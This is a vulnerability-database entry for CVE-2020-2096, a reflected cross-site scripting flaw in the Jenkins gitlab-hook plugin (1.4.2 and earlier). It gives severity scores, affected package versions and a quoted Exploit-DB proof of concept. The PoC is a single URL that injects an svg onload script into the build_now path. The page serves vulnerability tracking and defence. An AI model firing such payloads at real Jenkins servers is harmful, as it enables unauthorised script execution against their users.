CVE-2020-2096

unknown

Published 2022-05-24 · Modified 2023-11-08

💬 Discuss on Community ✚ Propose mitigation

CVSS v3

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CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

CVSS v4 NEW

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not yet in upstream

VIR risk

1.0

Description

Reflected XSS vulnerability in Jenkins gitlab-hook Plugin

Predictions

Exploit likelihood

30%

Patch ETA

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Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or — if you've already worked around this in production — publish your fix to the community-verified tier.

✚ Propose a mitigation on Community → Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here with source_tier=community-verified.

Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-47927 webapps java text · 1 KB

Ai Ho · 2020-01-16

Jenkins Gitlab Hook Plugin 1.4.2 - Reflected Cross-Site Scripting

text exploit Source: Exploit-DB

# Exploit Title: Jenkins Gitlab Hook Plugin 1.4.2 - Reflected Cross-Site Scripting
# Exploit Author: Ai Ho
# Vendor Homepage : https://jenkins.io/
# Effective version : Gitlab Hook Plugin 1.4.2 and earlier
# References: https://jenkins.io/security/advisory/2020-01-15/
# CVE: CVE-2020-2096

# PoC:
http://JENKINS_IP/gitlab/build_now%3Csvg/onload=alert(document.domain)%3E

Package impact

Ecosystem	Package	Vulnerable	Fixed
Maven	org.jenkins-ci.ruby-plugins:gitlab-hook	`<=1.4.2`

References

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.